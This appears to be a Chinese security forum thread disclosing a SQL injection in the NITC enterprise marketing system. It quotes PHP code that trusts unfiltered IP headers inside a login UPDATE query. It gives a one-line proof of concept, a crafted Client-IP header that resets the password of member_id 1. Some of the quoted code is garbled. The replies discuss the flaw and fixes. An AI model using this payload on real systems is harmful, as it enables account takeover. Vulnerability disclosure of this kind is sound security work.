NITC企业版SQL注入,可重置任意用户密码
NITC企业智能营销系统function getip( )
{
if ( isset( $_SERVER ) )
{
if ( isset( $_SERVER ) )
{
$realip = $_SERVER;
return $realip;
}
if ( isset( $_SERVER ) )
{
$realip = $_SERVER;
return $realip;
}
$realip = $_SERVER;
return $realip;
}
if ( getenv( "HTTP_X_FORWARDED_FOR" ) )
{
$realip = getenv( "HTTP_X_FORWARDED_FOR" );
return $realip;
}
if ( getenv( "HTTP_CLIENT_IP" ) )
{
$realip = getenv( "HTTP_CLIENT_IP" );
return $realip;
}
$realip = getenv( "REMOTE_ADDR" );
return $realip;
}
ip获取没有进行过滤,导致网站多处sql注入
if ( $action == "login" )
{
....
$ip = getip( );
$_SESSION['member_email'] = $email;
$_SESSION['member_id'] = $result['member_id'];
$_SESSION['state'] = $result['state'];
$_SESSION['member_name'] = $result['name'];
$site->table( "member" )( "update ".$site->table( "member" ).( " set last_ip='".$ip."',last_time='" ).date( "Y-m-d H:i:s", time( ) )."' where member_id=".$result['member_id'] );
}
此处 用户登录的时候,记录用户登录IP操作,由于update用户数据,可以直接利用sql注入update任意用户的密码。
POC: head头上加入 client-ip:',password='' where member_id=1#
解决方案:
过滤
略屌。。。学习了。。。{:2_25:} 感谢楼主 代码审计就是吊。一直在努力 登陆成功第一回!
Re: NITC企业版SQL注入,可重置任意用户密码
感谢分享这个漏洞细节。这个SQL注入确实很危险,利用未过滤的HTTP头直接修改数据库,攻击者可以轻易重置任意用户密码,完全控制管理员账户。建议官方尽快对getip函数接收的所有外部输入进行严格过滤或参数化查询,防止类似问题。Re: NITC企业版SQL注入,可重置任意用户密码
感谢分享!这个漏洞很典型,ip获取函数直接拼接进SQL语句太危险了。POC也很清晰,利用Client-IP头就能注修改密码,影响确实不小。建议官方赶紧对getip()的输出做过滤或参数化查询。Re: NITC企业版SQL注入,可重置任意用户密码
这个漏洞分析得很清楚,getip()函数直接信任了HTTP头中的IP,没有做任何过滤或转义,导致登录时的update语句被注入。利用client-ip头就能直接改写任意用户的密码,危害性非常高。建议厂商尽快对获取到的IP进行严格过滤(比如用正则校验格式),或者改用参数化查询。感谢分享这个重要的安全情报。
页:
[1]